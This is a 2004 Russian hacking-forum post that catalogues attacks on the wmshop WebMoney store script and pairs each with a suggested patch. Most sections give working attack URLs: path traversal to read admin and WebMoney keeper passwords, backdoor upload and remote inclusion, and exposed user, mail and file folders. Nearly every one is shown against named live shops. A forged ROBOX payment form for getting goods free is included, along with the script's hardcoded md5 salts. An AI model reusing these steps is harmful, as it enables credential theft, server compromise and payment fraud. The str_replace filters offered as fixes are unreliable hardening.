Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   Взлом wmshop (https://forum.antichat.xyz/showthread.php?t=3330)

Xalegi 29.11.2004 01:44

Взлом wmshop
 
Взлом и защита магазинов типа wmshop
Описание уязвимостей с реальными примерами и рекомендациями по их устранению.
Эта информация предназначена владельцам магазинов для защиты магазина от взломщиков.


Получаем пароль админа (версии 1.* - 2.*).http://адрес_магазина/buy.php?tovid=../users/admin пароль админа в строке Продавец:
http://адрес_магазина/buy.phtml?tovid=../users/admin пароль админа в строке Продавец:

Реальные примеры:
http://snoopy.irk.ru/buy.phtml?tovid=../users/admin

Устранение уязвимости:
в файлы buy.php, buy_r.php или buy.phtml добавить строчки:
<?
$tovid = str_replace('..',"", $tovid);
$tovid = str_replace('.',"", $tovid);
$tovid = str_replace('/',"", $tovid);
?>

--------------------------------------------------------------------------------
Получаем пароль от кипера (версии 1.* - 2.*). Вернутся к оглавлению
http://адрес_магазина/seller.php?name=../WMSigner.ini пароль от wmid в строке Организация:
http://адрес_магазина/seller.phtml?name=../WMSigner.ini пароль от wmid в строке Организация:

Реальные примеры:
http://snoopy.irk.ru/seller.phtml?name=../WMSigner.ini

Устранение уязвимости:
в файлы seller.php, seller.phtml добавить строчки:
<?
$name = str_replace('..',"", $name);
$name = str_replace('.',"", $name);
$name = str_replace('/',"", $name);
?>

--------------------------------------------------------------------------------
Подмена $fil (получаем пароль админа) (версии 1.* - 2.*). Вернутся к оглавлению
купив дешёвый товар открываем html код странички, где написанно "Скачка будет через 3 секунды"
меняем getting.php?fil=files/1001.0&filname=test.txt&crc=5e8bd03ff47ff9ac63cbd9 284e2a0bea-1030
на getting.php?fil=users/admin&filname=test.txt&crc=5e8bd03ff47ff9ac63cbd92 84e2a0bea-1030 и скачиваем пароль админа

Устранение уязвимости:
в файл getting.php вставить:
$fil = str_replace('..',"", $fil);
$fil = str_replace('users/',"", $fil);

--------------------------------------------------------------------------------
Закачка бекдора (все версии). Вернутся к оглавлению
зарегистрировавшись продавцом вы можете закачать php скрипт и купить его у себя
если нет защиты он запустится на сервере (в папке /door/ 2 бекдора для тестирования).

Реальные примеры:
http://syper-pypershop.com.ru/temp/tree.php
http://syper-pypershop.com.ru/temp/nfm.php

--------------------------------------------------------------------------------
Запуск бекдора без закачки (все версии). набрав адрес http://адрес_магазина/tx/main.php?pa...рипта.txt
вам возможно удастся его запустить на сервере.

Реальные примеры:
http://syper-pypershop.com.ru/tx/mai...u/tree.php.txt
http://transmitter.com.ru/tx/main.ph...u/tree.php.txt

Устранение уязвимости:
в файл main.php добавить:
<?
$page = str_replace('..',"", $page);
$page = str_replace('://',"", $page);
?>
в папке /tx/ создать .htaccess с таким текстом:
Deny from all

--------------------------------------------------------------------------------
Встроеные бекдоры (wmsp). Вернутся к оглавлению
Если вы скачали или купили магазин в виде файла wmsp.rar знайте там минимум 2 бекдора
http://адрес_магазина/tovar.php
http://адрес_магазина/history/history.php

Устранение уязвимости:
Сотрите файлы tovar.php и /history/history.php

--------------------------------------------------------------------------------
Дешифровка md5 (все версии). Вернутся к оглавлению
Сейчас появилось много програм для дешифровки md5, конечно дешифровать md5 долго,
но зная часть пароля значительно проще (усложним жизнь взломщикам)

Устранение уязвимости:
в /tx/buy.php заменить $crc=md5($ar[9]."adminadmin".$ftxt); на $crc=md5($ar[9].$serv_const_forum_pass.$ftxt);
в getfile.php заменить $crc=md5($ar[9]."adminadmin".$ftxt); на $crc=md5($ar[9].$serv_const_forum_pass.$ftxt);
в getting.php заменить $tovidcrc=md5($filname."adminadmin".$fil); на $crc=md5($ar[9].$serv_const_forum_pass.$ftxt);
в success2.php заменить $dsc1=md5("$shopcnt:ugla87m"); на $dsc1=md5("$shopcnt:$serv_const_forum_pass");
в my_stat.php заменить $dsc=md5("$shopcnt:ugla87m"); на $dsc=md5("$shopcnt:$serv_const_forum_pass");
в buy_r_pay.php заменить ("$tovid:$serv_const_shopwmz:$ftov[1]:ugla87m") на ("$tovid:$serv_const_shopwmz:$ftov[1]:$serv_const_forum_pass")
в success.php заменить ("$tovid:$serv_const_shopwmz:chesisbox") на ("$tovid:$serv_const_forum_pass:chesisbox")
в buy_r_result.php заменить $rc = md5("$fcn_pos:macadam"); на $rc = md5("$fcn_pos:$serv_const_forum_pass");
в buy_r_success2.php заменить $rc = md5("$fcn_pos:macadam"); на $rc = md5("$fcn_pos:$serv_const_forum_pass");

--------------------------------------------------------------------------------
Уязвимость папки /users/ (все версии). Вернутся к оглавлению
набрав адрес http://адрес_магазина/users/admin можно увидеть пароль администратора в верхней строчке

Реальные примеры:
http://magazin.rugold.com/users/admin
http://symma.dax.ru/users/admin

Устранение уязвимости:
в папке /users/ создать .htaccess с таким текстом:
Deny from all

--------------------------------------------------------------------------------
Уязвимость папки /files/ (все версии). Вернутся к оглавлению
набрав адрес http://адрес_магазина/files/номер_товара.0 возможно вам удастся его скачать.

Реальные примеры:
http://shop.tula.ru/files/1019.0
http://syper-pypershop.com.ru/files/1048.0

Устранение уязвимости:
в папке /files/ создать .htaccess с таким текстом:
Deny from all

--------------------------------------------------------------------------------
Уязвимость папки /mail/ (все версии). Вернутся к оглавлению
набрав адрес http://адрес_магазина/mail/admin возможно вам удастся прочитать письма адресованные админу.

Реальные примеры:
http://symma.dax.ru/mail/admin
http://magazin.rugold.com/mail/admin

Устранение уязвимости:
в папке /mail/ создать .htaccess с таким текстом:
Deny from all

--------------------------------------------------------------------------------
Уязвимость папки /history/ (все версии). Вернутся к оглавлению
набрав адрес http://адрес_магазина/history/admin возможно вам удастся узнать сколько заработал админ.

Реальные примеры:
http://symma.dax.ru/history/admin
http://magazin.rugold.com/history/admin

Устранение уязвимости:
в папке /history/ создать .htaccess с таким текстом:
Deny from all

--------------------------------------------------------------------------------
Уязвимость папки /temp/ (все версии). Вернутся к оглавлению
набрав адрес http://адрес_магазина/temp/ можете скачать купленные другими людьми товары.

Реальные примеры:
http://syper-pypershop.com.ru/temp/

Устранение уязвимости:
в папке /temp/ создать пустой файл index.php

--------------------------------------------------------------------------------
Уязвимость папки /tx/ (получаем пароль админа) (все версии). Вернутся к оглавлению
набрав адрес http://адрес_магазина/tx/main.php?page=../users/admin узнаете пароль админа

Реальные примеры:
http://syper-pypershop.com.ru/tx/mai...../users/admin
http://transmitter.com.ru/tx/main.ph...../users/admin

Устранение уязвимости:
в файл main.php добавить:
<?
$page = str_replace('..',"", $page);
$page = str_replace('://',"", $page);
?>
в папке /tx/ создать .htaccess с таким текстом:
Deny from all

--------------------------------------------------------------------------------
Магазины с оплатой через ROBOX. информацию предоставил Deadman_n Вернутся к оглавлению
создаётся страничка с таким кодом:
<form action='http://адрес_магазина/success.php?G=0'>
<input name='wmid' value='хакер'>
<input name='pci_wmtid' value='хакер'>
<input name='pci_pursedest' value='кошелёк_магазина'>
<input name='pci_pursesrc' value='z111111111111'>
<input name='pci_amount' value='цена_товара'>
<input name='pci_desc' value='служебные_отметки(берё из html кода страницы с описанием товара)'>
<input name='pci_datecrt' value='20040418 21:57:03'>
<input name='pci_marker' value=''>
<input name='pci_mode' value=''>
<input ID=button TYPE=submit VALUE="Хакаем и получаем!">
Выглядит это так:



Реальные примеры:
пока непробовал, но уверен что должно получится.

Устранение уязвимости:
перейти на новую версию скрипта (версия 3.5 или выше, купить можно тут)


--------------------------------------------------------------------------------
Доступность .inc файлов (все версии). Вернутся к оглавлению
Получив доступ к файлам shopcounts.inc, shopcounts1.inc и shopcounts2.inc можно получить товары бесплатно.

Реальные примеры:
http://payon.h12.ru/shopcounts.inc

Устранение уязвимости:
добавить в .htaccess в корневой папке такой текст:
<Files ~ "\\.inc">
Order allow,deny
Deny from all
</Files>

--------------------------------------------------------------------------------
(c) wmshop.com.ru За применение информации не по назначению автор ответственности не несёт


Время: 22:18